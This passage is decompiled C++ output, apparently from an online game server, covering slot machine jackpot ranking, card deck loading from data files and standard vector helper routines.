// ebp@2 signed int v4; // edx@3 int v5; // ecx@3 void *result; // eax@6 SLOTMACHINE_JackPotRank *v7; // edi@7 int v8; // eax@8 int v9; // eax@11 int v10; // eax@15 SLOTMACHINE_JackPotRank *v11; // ebp@18 unsigned int v12; // eax@21 v2 = this; if ( this == (void *)__formal ) return v2; v3 = *(SLOTMACHINE_JackPotRank **)(__formal + 4); if ( v3 ) { v4 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(__formal + 8) - (signed int)v3)) >> 32) >> 3; v5 = v4 + ((unsigned int)v4 >> 31); if ( v5 ) { v7 = (SLOTMACHINE_JackPotRank *)*((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD *)v2 + 2) - (signed int)v7) / 20; else v8 = 0; if ( v5 <= (unsigned int)v8 ) { std::_Copy_opt( v3, *(SLOTMACHINE_JackPotRank **)(__formal + 8), v7, (std::_Nonscalar_ptr_iterator_tag)__formal); v9 = *(_DWORD *)(__formal + 4); if ( v9 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 20 * (*(_DWORD *)(__formal + 8) - v9) / 20; result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v7 ) v10 = (*((_DWORD *)v2 + 3) - (signed int)v7) / 20; else v10 = 0; if ( v5 <= (unsigned int)v10 ) { v11 = &v3[std::vector>::size((std::vector > *)v2)]; std::_Copy_opt( *(SLOTMACHINE_JackPotRank **)(__formal + 4), v11, v7, (std::_Nonscalar_ptr_iterator_tag)__formal); *((_DWORD *)v2 + 2) = std::_Uninit_copy>( (CharaterSkillList::CharSkill *)v11, *(CharaterSkillList::CharSkill **)(__formal + 8), *((CharaterSkillList::CharSkill **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } if ( v7 ) operator delete(*((void **)v2 + 1)); v12 = std::vector>::size((std::vector > *)__formal); if ( std::vector>::_Buy( (std::vector > *)v2, v12) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(CharaterSkillList::CharSkill **)(__formal + 4), *(CharaterSkillList::CharSkill **)(__formal + 8), *((CharaterSkillList::CharSkill **)v2 + 1)); return v2; } } if ( *((_DWORD *)v2 + 1) ) operator delete(*((void **)v2 + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } //----- (005D5460) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineScreenManager::_SlotMachineScreenManager(SlotMachine::SlotMachineScreenManager *this) { SlotMachine::SlotMachineScreenManager *v1; // esi@1 v1 = this; CCharacterTitleData::_CCharacterTitleData(&this->smsm_BetCoin.baseclass_0); if ( v1->smsm_NPC._Myfirst ) operator delete(v1->smsm_NPC._Myfirst); v1->smsm_NPC._Myfirst = 0; v1->smsm_NPC._Mylast = 0; v1->smsm_NPC._Myend = 0; _eh_vector_destructor_iterator_( v1->smsm_CardDeck, 0x10u, 9, (void (__thiscall *)(void *))std::vector>::_vector>); if ( v1->smsm_LocateDeck._Myfirst ) operator delete(v1->smsm_LocateDeck._Myfirst); v1->smsm_LocateDeck._Myfirst = 0; v1->smsm_LocateDeck._Mylast = 0; v1->smsm_LocateDeck._Myend = 0; } //----- (005D5500) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Val) { std::vector > *v4; // edi@1 SlotMachine::SlotMachineScreenManager::NPCvsBetType *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(954437177i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (005D5570) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GBSMAll *_Val) { std::vector > *v4; // edi@1 GBSMAll *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 1; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (005D55E0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GBSMCenter *_Val) { std::vector > *v4; // edi@1 GBSMCenter *v5; // esi@1 int v6; // esi@3 std::vector >::iterator *v7; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) v6 = (*(_DWORD *)&_Where - (signed int)v5) / 3; else v6 = 0; std::vector>::_Insert_n(this, _Where, 1u, _Val); v7 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v7; } //----- (005D5650) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, SLOTMACHINE_JackPotRank _Val) { std::vector > *v3; // esi@1 SLOTMACHINE_JackPotRank *v4; // ecx@1 int v5; // eax@2 int v6; // eax@6 SLOTMACHINE_JackPotRank *v7; // edi@10 SLOTMACHINE_JackPotRank *v8; // eax@11 std::_Nonscalar_ptr_iterator_tag __formal[4]; // [sp+8h] [bp-8h]@1 unsigned int v10; // [sp+Ch] [bp-4h]@1 v3 = this; v4 = this->_Myfirst; v10 = (unsigned int)__formal ^ __security_cookie; if ( v4 ) v5 = v3->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = v3->_Mylast; if ( _Newsize < v3->_Mylast - v4 ) { v8 = &v4[_Newsize]; if ( v8 != v7 ) v3->_Mylast = std::_Copy_opt(v7, v7, v8, __formal[0]); } } } else { if ( v4 ) v6 = v3->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( v3, (std::vector >::iterator)v3->_Mylast, _Newsize - v6, &_Val); } } //----- (005D5730) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, SLOTMACHINE_JackPotRank *_Val) { std::vector > *v4; // edi@1 SLOTMACHINE_JackPotRank *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (005D57A0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GBSMJackpotRate *_Val) { std::vector > *v4; // edi@1 GBSMJackpotRate *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 1; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (005D5810) -------------------------------------------------------- SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *__cdecl std::_Copy_opt(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_First, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Last, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v4; // esi@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v5; // edi@2 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *result; // eax@4 v4 = _First; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v5->JackPotPrice = v4->JackPotPrice; std::vector>::operator_( &v5->JackPotRank, (int)&v4->JackPotRank); ++v4; ++v5; } while ( v4 != _Last ); result = v5; } return result; } //----- (005D5850) -------------------------------------------------------- SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *__cdecl std::_Copy_backward_opt(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_First, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Last, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v4; // esi@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v5; // edi@2 unsigned int v6; // eax@3 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = v4[-1].JackPotPrice; --v4; --v5; v5->JackPotPrice = v6; std::vector>::operator_( &v5->JackPotRank, (int)&v4->JackPotRank); } while ( v4 != _First ); result = v5; } return result; } //----- (005D5890) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineScreenManager::SlotMachineScreenManager(SlotMachine::SlotMachineScreenManager *this) { SlotMachine::SlotMachineScreenManager *v1; // esi@1 v1 = this; this->smsm_LocateDeck._Myfirst = 0; this->smsm_LocateDeck._Mylast = 0; this->smsm_LocateDeck._Myend = 0; _eh_vector_constructor_iterator_( this->smsm_CardDeck, 0x10u, 9, (void (__thiscall *)(void *))NPCAction::Manager::Manager, (void (__thiscall *)(void *))std::vector>::_vector>); v1->smsm_NPC._Myfirst = 0; v1->smsm_NPC._Mylast = 0; v1->smsm_NPC._Myend = 0; CCharacterTitleData::CCharacterTitleData(&v1->smsm_BetCoin.baseclass_0); v1->smsm_BetCoin.bdb_defaultblock.GBSMBet = 0; v1->smsm_BetCoin.bdb_defaultblock.GBSMCoin = 0; } //----- (005D5920) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Val) { std::vector > *v2; // esi@1 SlotMachine::SlotMachineScreenManager::NPCvsBetType *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 SlotMachine::SlotMachineScreenManager::NPCvsBetType *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(954437177i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (005D59B0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GBSMAll *_Val) { std::vector > *v2; // esi@1 GBSMAll *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 GBSMAll *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 1; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (005D5A30) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GBSMCenter *_Val) { std::vector > *v2; // esi@1 GBSMCenter *v3; // edi@1 int v4; // ecx@2 GBSMCenter *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (005D5AB0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, SLOTMACHINE_JackPotRank *_Val) { std::vector > *v2; // esi@1 SLOTMACHINE_JackPotRank *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 SLOTMACHINE_JackPotRank *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( (CharaterSkillList::CharSkill *)v2->_Mylast, 1u, (CharaterSkillList::CharSkill *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (005D5B40) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GBSMJackpotRate *_Val) { std::vector > *v2; // esi@1 GBSMJackpotRate *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 GBSMJackpotRate *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 1; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( (TickTimer *)v2->_Mylast, 1u, (TickTimer *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (005D5BC0) -------------------------------------------------------- void __cdecl std::fill(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_First, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Last, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Val) { SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->JackPotPrice = _Val->JackPotPrice; std::vector>::operator_( &i->JackPotRank, (int)&_Val->JackPotRank); } } //----- (005D5BF0) -------------------------------------------------------- SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *__cdecl std::_Uninit_copy>(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_First, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Last, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v5; // esi@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) { v5->JackPotPrice = v6->JackPotPrice; std::vector>::vector>( &v5->JackPotRank, &v6->JackPotRank); } ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (005D5CA0) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineScreen::go_SMS_PacketMake_WintRank(SlotMachine::SlotMachineScreen *this, PROTO_NC_GAMBLE_SLOTMACHINE_WINRANKING_ACK *ack) { SlotMachine::SlotMachineScreen *v2; // ebx@1 int v3; // edi@1 int i; // esi@5 CGambleObject *v5; // eax@6 CGambleObjectVtbl *v6; // edx@7 unsigned int v7; // ebx@9 PROTO_NC_GAMBLE_SLOTMACHINE_WINRANKING_ACK *v8; // ecx@9 int v9; // edi@9 int v10; // eax@13 int v11; // [sp-14h] [bp-48h]@5 int v12; // [sp-10h] [bp-44h]@5 int v13; // [sp-Ch] [bp-40h]@5 std::vector > *v14; // [sp-8h] [bp-3Ch]@5 GAMBLE_TYPE v15; // [sp-4h] [bp-38h]@1 FunctionEntarance _; // [sp+10h] [bp-24h]@1 GAMBLE_TYPE v17; // [sp+24h] [bp-10h]@5 int v18; // [sp+30h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "SlotMachine::SlotMachineScreen::SMS_PacketMake_WintRank"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineScreen::SMS_PacketMake_WintRank"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineScreen::SMS_PacketMake_WintRank"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 2; v18 = 0; ack->ListLen = 0; v3 = CGambleObjectManager::gom_GetGambleObjectMaxCnt(&gGambleObjectManager, v15); if ( v3 > 0 ) { if ( !(_S12_8 & 1) ) { _S12_8 |= 1u; First = 0; Last = 0; unk_14BC4F64 = 0; atexit(_E13_14); LOBYTE(v18) = 0; } v11 = 0; v12 = 0; v13 = 0; v14 = 0; v15 = v17; std::vector>::resize( &wincollect, 0, *(SLOTMACHINE_JackPotRank *)&v11); for ( i = 0; i < v3; ++i ) { v5 = CGambleObjectManager::gom_GetGambleObject(&gGambleObjectManager, GBT_SLOTMACHINE, i); if ( v5 ) { v6 = v5->vfptr; v15 = v2->sms_BettingType; v14 = &wincollect; v6->go_SMC_WinRank(v5, &wincollect, v15); } } v15 = (*(_DWORD *)&Last - *(_DWORD *)&First) / 20; std::_Sort>::iterator_int>( First, Last, v15); v7 = 0; v8 = ack + 9; v9 = -9 - (_DWORD)ack; while ( *(_DWORD *)&First && v7 < (*(_DWORD *)&Last - *(_DWORD *)&First) / 20 && v7 < 0x32 ) { v10 = (int)(&v8[v9] + *(_DWORD *)&First); *(_DWORD *)&v8[-8].ListLen = *(_DWORD *)(&v8[v9].ListLen + *(_DWORD *)&First); *(_DWORD *)&v8[-4].ListLen = *(_DWORD *)(v10 + 4); *(_DWORD *)&v8->ListLen = *(_DWORD *)(v10 + 8); *(_DWORD *)&v8[4].ListLen = *(_DWORD *)(v10 + 12); *(_DWORD *)&v8[8].ListLen = *(_DWORD *)(v10 + 16); ++v7; v8 += 20; } ack->ListLen = v7; v15 = (GAMBLE_TYPE)"SlotMachine::SlotMachineScreen::SMS_PacketMake_WintRank"; } else { v15 = (GAMBLE_TYPE)"SlotMachine::SlotMachineScreen::SMS_PacketMake_WintRank"; } --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)v15); } //----- (005D5E80) -------------------------------------------------------- #error "5D5E80: undefined or illegal type '#593' (funcsize=74)" //----- (005D5F90) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineScreenManager::smsm_Load(SlotMachine::SlotMachineScreenManager *this) { SlotMachine::SlotMachineScreenManager *v1; // ebp@1 int v2; // ebx@1 int v3; // esi@1 signed int v4; // edi@1 int v5; // ecx@5 unsigned int v6; // eax@5 unsigned int v7; // esi@5 bool v8; // cf@6 void *v9; // edi@8 bool v10; // zf@10 int v11; // esi@11 signed int v12; // ebp@11 int v13; // eax@12 char v14; // bl@12 int v15; // edx@13 int v16; // eax@17 int v17; // edx@20 unsigned int v18; // eax@22 int v19; // eax@23 unsigned int v20; // esi@23 bool v21; // cf@24 void *v22; // eax@26 char *v23; // edx@28 int v24; // ecx@29 double v25; // st7@31 unsigned int v26; // eax@31 int v27; // eax@32 unsigned int v28; // esi@32 const char *v29; // eax@34 void *v30; // eax@37 char *v31; // ecx@46 int v32; // edx@47 char *v33; // eax@51 __int64 v34; // [sp+10h] [bp-E8h]@1 SlotMachine::SlotMachineScreenManager *v35; // [sp+18h] [bp-E0h]@1 int m; // [sp+1Ch] [bp-DCh]@10 char key[4]; // [sp+20h] [bp-D8h]@33 int v38; // [sp+24h] [bp-D4h]@33 int v39; // [sp+28h] [bp-D0h]@33 int v40; // [sp+2Ch] [bp-CCh]@33 int v41; // [sp+30h] [bp-C8h]@33 int v42; // [sp+34h] [bp-C4h]@33 int v43; // [sp+38h] [bp-C0h]@33 int v44; // [sp+3Ch] [bp-BCh]@33 int v45; // [sp+40h] [bp-B8h]@39 char NPC; // [sp+44h] [bp-B4h]@32 int v47; // [sp+74h] [bp-84h]@32 char v48[4]; // [sp+80h] [bp-78h]@32 int v49; // [sp+84h] [bp-74h]@32 int v50; // [sp+88h] [bp-70h]@32 int v51; // [sp+8Ch] [bp-6Ch]@32 int v52; // [sp+90h] [bp-68h]@32 int v53; // [sp+94h] [bp-64h]@32 int v54; // [sp+98h] [bp-60h]@32 int v55; // [sp+9Ch] [bp-5Ch]@32 int v56; // [sp+A0h] [bp-58h]@32 char cardrate; // [sp+A4h] [bp-54h]@1 int v58; // [sp+D4h] [bp-24h]@5 int v59; // [sp+E0h] [bp-18h]@1 __int16 v60; // [sp+E4h] [bp-14h]@1 unsigned int v61; // [sp+E8h] [bp-10h]@1 int v62; // [sp+F4h] [bp-4h]@1 v1 = this; v61 = (unsigned int)&v34 ^ __security_cookie; v35 = this; CCharacterTitleData::CCharacterTitleData((BinaryData *)&cardrate); v59 = 0; v60 = 0; v2 = 0; v62 = 0; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&cardrate, "../9Data/Hero/GBSMCardRate.shn"); v3 = (int)&v1->smsm_CardDeck[0]._Myfirst; v4 = 9; do { if ( *(_DWORD *)v3 ) operator delete(*(void **)v3); *(_DWORD *)v3 = 0; *(_DWORD *)(v3 + 4) = 0; *(_DWORD *)(v3 + 8) = 0; v3 += 16; --v4; } while ( v4 ); v5 = v58; v6 = *(_DWORD *)(v58 + 40); v7 = 0; HIDWORD(v34) = 0; if ( (signed int)v6 > 0 ) { v8 = v6 > 0; do { if ( v8 ) v9 = CDataReader::GetRecord((CDataReader *)&cardrate, v7); else v9 = &v59; v8 = *((_WORD *)v9 + 2) < (unsigned __int16)v2; v10 = *((_WORD *)v9 + 2) == (_WORD)v2; m = v2; if ( !(v8 | v10) ) { do { v11 = (int)&v1->smsm_CardDeck[0]._Myfirst; v12 = 9; do { v13 = *(_DWORD *)v11; v10 = *(_DWORD *)v11 == 0; v14 = *(_BYTE *)v9; BYTE3(v34) = *(_BYTE *)v9; if ( v10 ) v15 = 0; else v15 = *(_DWORD *)(v11 + 4) - v13; if ( v13 && v15 < (unsigned int)(*(_DWORD *)(v11 + 8) - v13) ) { v16 = *(_DWORD *)(v11 + 4); *(_BYTE *)v16 = v14; *(_DWORD *)(v11 + 4) = v16 + 1; } else { std::vector>::_Insert_n( (std::vector > *)(v11 - 4), *(std::vector >::iterator *)(v11 + 4), 1u, (const char *)&v34 + 3); } v11 += 16; --v12; } while ( v12 ); v17 = *((_WORD *)v9 + 2); v1 = v35; ++m; } while ( m < v17 ); v7 = HIDWORD(v34); v2 = 0; } v5 = v58; v18 = *(_DWORD *)(v58 + 40); ++v7; v8 = v7 < v18; HIDWORD(v34) = v7; } while ( (signed int)v7 < (signed int)v18 ); } v19 = *(_DWORD *)(v5 + 40); v20 = 0; if ( v19 > v2 ) { v21 = (unsigned int)v19 > 0; do { if ( v21 ) v22 = CDataReader::GetRecord((CDataReader *)&cardrate, v20); else v22 = &v59; v23 = v1->smsm_CardDeck[0]._Myfirst; if ( v23 == (char *)v2 ) v24 = 0; else v24 = v1->smsm_CardDeck[0]._Mylast - v23; HIDWORD(v34) = *((_WORD *)v22 + 2); v25 = (double)SHIDWORD(v34); HIDWORD(v34) = v24; ++v20; v1->smsm_CardRateArray[*(_DWORD *)v22] = v25 / (double)(unsigned int)v24; v26 = *(_DWORD *)(v58 + 40); v21 = v20 < v26; } while ( (signed int)v20 < (signed int)v26 ); } SlotMachine::SlotMachineScreenManager::smsm_Shuffle(v1); v1->smsm_CardDeckPoint = v2; CCharacterTitleData::CCharacterTitleData((BinaryData *)&NPC); *(_DWORD *)v48 = 0; v49 = 0; v50 = 0; v51 = 0; v52 = 0; v53 = 0; v54 = 0; v55 = 0; v56 = 0; LOBYTE(v62) = 1; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&NPC, "../9Data/Hero/GBSMNPC.shn"); v27 = v47 + 40; v28 = 0; if ( *(_DWORD *)(v47 + 40) > v2 ) { do { v44 = v2; v43 = v2; v42 = v2; v41 = v2; v40 = v2; v39 = v2; v38 = v2; *(_DWORD *)key = v2; if ( v28 < *(_DWORD *)v27 ) v29 = (const char *)CDataReader::GetRecord((CDataReader *)&NPC, v28); else v29 = v48; v44 = v2; v43 = v2; v42 = v2; v41 = v2; v40 = v2; v39 = v2; v38 = v2; *(_DWORD *)key = v2; strncpy(key, v29, 0x20u); if ( v28 < *(_DWORD *)(v47 + 40) ) v30 = CDataReader::GetRecord((CDataReader *)&NPC, v28); else v30 = v48; v45 = *((_DWORD *)v30 + 8); std::vector>::push_back( &v1->smsm_NPC, (SlotMachine::SlotMachineScreenManager::NPCvsBetType *)key); v27 = v47 + 40; ++v28; } while ( (signed int)v28 < *(_DWORD *)(v47 + 40) ); } BinaryDataBox::bdb_ReadData( (BinaryDataBox *)&v1->smsm_BetCoin, "../9Data/Hero/GBSMBetCoin.shn"); if ( (signed int)v1->smsm_BetCoin.baseclass_0.baseclass_0.m_pHead->nNumOfRecord > v2 == v2 ) { AssertClass::ac_AssertFail( &shineassert, "SlotMachine::SlotMachineScreenManager::smsm_Load : GBSMBetCoin.shn read fail", v2); ShineExit("GBSMBetCoin.shn"); } if ( v1->smsm_LocateDeck._Myfirst != (char *)v2 ) operator delete(v1->smsm_LocateDeck._Myfirst); v1->smsm_LocateDeck._Myfirst = (char *)v2; v1->smsm_LocateDeck._Mylast = (char *)v2; v1->smsm_LocateDeck._Myend = (char *)v2; do { v31 = v1->smsm_LocateDeck._Myfirst; BYTE3(v34) = v2; if ( v31 ) v32 = v1->smsm_LocateDeck._Mylast - v31; else v32 = 0; if ( v31 && v32 < v1->smsm_LocateDeck._Myend - v31 ) { v33 = v1->smsm_LocateDeck._Mylast; *v33 = v2; v1->smsm_LocateDeck._Mylast = v33 + 1; } else { std::vector>::_Insert_n( &v1->smsm_LocateDeck, (std::vector >::iterator)v1->smsm_LocateDeck._Mylast, 1u, (const char *)&v34 + 3); } ++v2; } while ( v2 < 9 ); LOBYTE(v62) = 0; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&NPC); v62 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&cardrate); __security_check_cookie((unsigned int)&v34 ^ v61); } //----- (005D6380) -------------------------------------------------------- void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this) { std::set,std::allocator > *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (005D63B0) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineAnalyse::_SlotMachineAnalyse(SlotMachine::SlotMachineAnalyse *this) { SlotMachine::SlotMachineAnalyse *v1; // esi@1 v1 = this; if ( this->sma_PointMatch._Myfirst ) operator delete(this->sma_PointMatch._Myfirst); v1->sma_PointMatch._Myfirst = 0; v1->sma_PointMatch._Mylast = 0; v1->sma_PointMatch._Myend = 0; if ( v1->sma_AllMatch._Myfirst ) operator delete(v1->sma_AllMatch._Myfirst); v1->sma_AllMatch._Myfirst = 0; v1->sma_AllMatch._Mylast = 0; v1->sma_AllMatch._Myend = 0; if ( v1->sma_LineMatch._Myfirst ) operator delete(v1->sma_LineMatch._Myfirst); 